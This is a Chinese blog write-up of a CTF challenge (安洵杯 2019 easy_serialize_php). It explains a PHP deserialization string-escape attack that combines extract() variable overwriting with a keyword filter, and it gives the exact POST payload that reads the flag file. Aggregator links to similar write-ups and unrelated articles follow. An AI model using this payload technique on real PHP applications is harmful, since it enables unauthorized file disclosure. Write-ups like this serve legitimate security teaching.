代码编织梦想

这是一道php序列化字符串逃逸的题,在做之前需要掌握一些知识,看了这篇文章:浅析php反序列化字符串逃逸_Lemon's blog-CSDN博客,再来看这篇会更加易懂

打开环境,点击source_code,得到源码:

<?php

$function = @$_GET['f'];//GET方式传值

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');//创建数组
    $filter = '/'.implode('|',$filter_arr).'/i';//implode函数将数组中的值以‘|’分隔。
    return preg_replace($filter,'',$img);//将传入的字符串中有的数组中的值以空替换
}//整个函数相当于做了一个处理,将传入字符串中的php|flag|php4|php5|php4|fl1g全替换为空。


if($_SESSION){
    unset($_SESSION);
}//先将$_SESSION销毁

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;//传入的参数值

extract($_POST);//把数组转为变量,该函数使用数组键名作为变量名,使用数组键值作为变量值,存在变量覆盖漏洞

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}//如果没有任何传值,就显示这个,即刚打开环境的时候

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}//如果没有img_path传入就将guest_img.png base64编码传给img;相反将传入的img_path base64编码再哈希编码传给img。

$serialize_info = filter(serialize($_SESSION));//序列化$_SESSION,过滤后,赋值给$serialize_info

if($function == 'highlight_file'){
    highlight_file('index.php');//现在显示的页面。
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);//反序列化
    echo file_get_contents(base64_decode($userinfo['img']));//img base64编码再高亮输出
}

?>

很明显看到最后面有个提示:maybe you can find something in here!

所以应该给$fuction传入phpinfo,而$fuction的值是由 'f' GET传值得到的,所以直接GET传入:

index.php?f=phpinfo

执行了phpinfo();语句,在其中找到:

发现有个 d0g3_f1ag.php,直接访问失败。看到之前的源代码最后有file_get_contents函数,肯定就是要我们读取这个文件了。

现在我们就要base64_decode($userinfo[‘img’])=d0g3_f1ag.php,

那么就要$userinfo[‘img’]=ZDBnM19mMWFnLnBocA==,

而$userinfo又是通过$serialize_info反序列化来的,

$serialize_info又是通过session序列化之后再过滤得来的,且经过了fliter函数处理。

session包含了三部分:user、function和img,session里面的img在这里赋值,我们指定的话会被sha1哈希,到时候就不能被base64解密了,它的值在extract的后面,是不可控的:

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

因为extract($_POST)在赋值的后面,也就是说这两个值是可以控制的,也就是可以给它们重新赋值。

$_SESSION["user"] = 'guest';                              
$_SESSION['function'] = $function;

那为什么会想到反序列化字符串逃逸呢?

接着看。他是将$_SESSION数组序列化后把'php','flag','php5','php4','fl1g'换为空然后再进行反序列化。最后把$_SESSION['img']的值base64解码后读取原码。

如果没有黑名单过滤的步骤,那么他序列化后再反序列化得到的就是他原来的值,再取$_SESSION['img']。

但是无论你传不传img_path的值,得到的$_SESSION['img']都不是我们想要的,虽然这里的base64加密对应了后面的解密,但是他多了一个sha1的加密。肯定要想办法绕过这里。再看黑名单过滤,重点是它会序列化后把敏感的词换为空,导致了字符串长度发生了改变,这就想到了字符串逃逸。

下面就想办法构造payload了:

首先,d0g3_f1ag.php的base64编码是ZDBnM19mMWFnLnBocA==,将其赋值给 

 $_SESSION['img'],再序列化后得到:a:1:{s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";},我们要想办法让红色的这段去代替原本“$_SESSION['img'] = base64_encode('guest_img.png');”序列化的值s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==" ,所以就要GET传值将其赋给$_SESSION['function'],提前闭合使后面原本的$_SESSION['img']无效:

$_SESSION['user'] = 'guest;

$_SESSION['function'] = 'a:1:{";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';

再将$_SESSION序列化,就得到: 

a:3:{s:4:"user";s:5:"guest";s:8:"function";s:46:"a:1:{";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

但这样反序列化回去不会成功,这题的代码中还有替换,将一些敏感字符串替换为空。这里用的字符串逃逸中的第二种字符减少。

我们如果将user赋值为敏感字符串,且长度等于蓝色部分替换后为空,从而让上边蓝色部分反序列化回去的值作为变量user的值,就能让后面红色部分反序列化正常。蓝色部分长度为28,我们就可以:
 

$_SESSION["user"]='flagflagflagflagflagflagflag';

$_SESSION['function'] = 'a:1:{";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';

这样序列化后就是:a:3:{s:4:"user";s:28:"";s:8:"function";s:46:"a:1:{";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

由于构造了闭合,";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}相当于不存在了,这样红色部分就能执行。

但是反序列化需要三个变量,经过上面的逃逸就失去了$_SESSION['function']这个变量,我们又不能改为a:2,那就只能在构造的function的时候多构造一个变量:

$_SESSION['img'] = 'ZDBnM19mMWFnLnBocA==';

$_SESSION['zzz'] = 'coconut';

序列化得:a:2:{s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"zzz";s:7:"coconut";}

赋值:

$_SESSION['user'] = 'flagflagflagflagflagflagflag';
$_SESSION['function'] = 'a:2:{";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"zzz";s:7:"coconut";}';

最后得到:

a:3:{s:4:"user";s:28:"";s:8:"function";s:70:"a:2:{";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"zzz";s:7:"coconut";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

可以验证一下:

 没有问题,就传值:

GET:f=show_image

POST:_SESSION[user]=flagflagflagflagflagflagflag&_SESSION[function]=a:2:{";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"zzz";s:7:"coconut";}

源码发现:

 直接访问还是没成功,说明还是要读取/d0g3_fllllllag;/d0g3_fllllllag的base64编码为:

L2QwZzNfZmxsbGxsbGFn

修改传值:

GET:f=show_image

POST:_SESSION[user]=flagflagflagflagflagflagflag&_SESSION[function]=a:2:{";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:3:"zzz";s:7:"coconut";}          //注意编码长度

 得到答案!!!!

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_52907838/article/details/118940213

安洵杯2019 easy_serialize_php (反序列化中的对象逃逸)-爱代码爱编程

0x01 题目源码 <?php $function = @$_GET['f']; function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i';

BUUCTF:[安洵杯 2019]easy_serialize_php-爱代码爱编程

看题目,应该是和反序列化有关。 先查看一下源码 <?php $function = @$_GET['f']; function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$fil

[安洵杯 2019]easy_serialize_php WP-爱代码爱编程

[安洵杯 2019]easy_serialize_php 思考 <?php $_SESSION["user"]='flagflagflagflagflagflag'; $_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}'; $_SES

第五十题——[安洵杯 2019]easy_serialize_php-爱代码爱编程

题目地址:https://buuoj.cn/challenges 解题思路 第一步:进入题目,一个源码超链接,点击后出现源码 <?php $function = @$_GET['f']; function filter($img){ $filter_arr = array('php','flag','php5','php4','fl

BUUCTF之[安洵杯 2019]easy_serialize_php--WP-爱代码爱编程

easy_serialize_php 考点Write Up回顾 考点 PHP中反序列化的对象逃逸俩种过滤函数:关键词增加和关键词减少反序列化对象的逃逸有俩种策略:1.值逃逸 2.键逃逸键/值逃逸: 因为序列化的字符串是严格的,对应的格式不能错,比如s:4:“name”,那s:4就必须有一个字符串长度是4的否则就往后要。 并且反序列化会把多余的

[CTF][安洵杯 2019]easy_serialize_php 1 -- 反序列化漏洞、反序列化字符逃逸-爱代码爱编程

[安洵杯 2019]easy_serialize_php 1 首先打开靶机,只有一个链接没有其他东西 目录爆破没有爆破出来东西,打开链接,发现给出了网站源码 <?php $function = @$_GET['f']; function filter($img){ $filter_arr = array('php','flag','ph

[安洵杯 2019]easy_serialize_php反序列化对象逃逸-爱代码爱编程

知识点: get与post传参 反序列化漏洞 反序列化中对象逃逸 file_get_contents函数 单击sourc_code跳出源码: <?php $function = @$_GET['f']; function filter($img){ $filter_arr = array('php','flag','ph

[安洵杯2019]easy_serialize_php-爱代码爱编程

知识点 反序列化字符逃逸(替换后导致字符串变短) 题目链接 BUUCTF在线评测[%E5%AE%89%E6%B4%B5%E6%9D%AF%202019]easy_serialize_php 审计代码 启动环境 打开题目是一段代码: <?php ​ $function = @$_GET['f']; ​ function filter($

BUUCTF [安洵杯 2019]easy_serialize_php-爱代码爱编程

期末复习累了,做道CTF题目放松一下,做完就复习信安数学 打开后看到源码 <?php $function = @$_GET['f']; function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.impl

搭建一个 软件授权码管理系统-爱代码爱编程

今天来搭建一个适用于PHP 应用程序、WordPress 插件或主题等。凭借易于安装、最低服务器要求、用户友好的 UI 和无限脚本的成熟授权码和更新管理器。  软件授权码管理系统由两部分组成 - 将安装在您自己的服务器上的主脚本(管理面板)和将包含在您的 PHP 应用程序中的单个帮助文件。如果您愿意,您还可以使用任何编程语言轻松访问 API。软件授权码管

网络安全漏洞分析小结-爱代码爱编程

(一) 前言 这里感谢师傅前面整理的通达OA一些版本的漏洞复现,这里从漏洞点出发,分析漏洞,从中学些一些师傅白盒挖掘漏洞的思路。 ​ 安装包下载地址,可以通过枚举版本号下载对应的安装包: https://cdndown.tongda2000.com/oa/2019/TDOA11.4.exe https://www.tongda2000.com/dow

wordpress采集插件-免费的wordpress采集插件-爱代码爱编程

今天博主来给大家分享:用免费wordpress采集插件提升网站收录以及关键词排名, 支持各大网站使用!什么是seo?怎么做SEO?。seo中文意思就是搜索引擎优化,以百度为例,当用户在百度搜一个词的时候,搜索结果展现的内容就是大大小小的一些网站,seo就是通过一些手段把站长的网站做到搜索结果前几页,可以优先展现,进而带来用户点击,引来流量。前几年的seo充

黑客借由入侵WordPress网站,使造访者计算机被植入恶意的Chrome扩充程序-爱代码爱编程

近期有800多个WordPress网站遭植入恶意程序,网络安全业者Avast发现,这是一起复杂的攻击手法,先诱使造访遭入侵网站的用户安装假Java Runtime,最终将安装恶意Chrome扩充程序,用以窃取受害者密码、凭证等。 网络安全业者Avast在本周揭露了一起复杂的Chaes金融木马攻击手法,黑客先入侵了800个WordPress网站,再引诱造访

为大家准备1500个程序员专属红包,速领!!!-爱代码爱编程

点击上方蓝色“飞雪无情”关注我,设个星标,第一时间看文章 再过5天就是我们最盛大的传统节日---春节,在这里提前祝大家新春快乐。 在过去的一年里,「飞雪无情」公众号又新增了一倍多的新朋友,当然还有很多的老朋友继续陪伴着「飞雪无情」,非常感谢新老朋友的大力支持,是你们的阅读、转发和点赞,让我有了创作的动力,有时候哪怕0点、1点也会坚持把文章写完。

2022年API接口零代码、低代码、纯代码开发的框架推荐-爱代码爱编程

API纯代码开发:PhalApi开源接口框架(派框架),接口,从简单开始! PhalApi是一个PHP轻量级开源接口框架,致力于快速开发接口服务。支持HTTP/SOAP/RPC等协议,可用于搭建接口/微服务/RESTful接口/Web Services。承诺永久免费,可用于商业用途。 支持自动生成接口文档、自动进行参数校验、自动生成单元测试代码、自动拥

wordpress插件-wordpress常用插件大全-爱代码爱编程

搜索引擎优化(SEO)的主要目标就是让你的网站内容尽可能地出现在搜索结果靠前位置。具体可以通过四个步骤来实现:1.抓取系统,2.关键词调研,3.页面优化,4.外链建设 1. 抓取系统(Spider) 首先,我们需要了解搜索引擎的工作原理,以便更好得理解SEO。搜索引擎有一个抓取系统,俗称Spider,你可以把它想象成一群在互联网上乱爬的蜘蛛(有点恶趣味.

PHP登录注册页面-爱代码爱编程

注册(html) 注册1.php <!DOCTYPE html> <html> <head> <title>注册</title> <link rel="stylesheet" href="css"> <meta name="content-type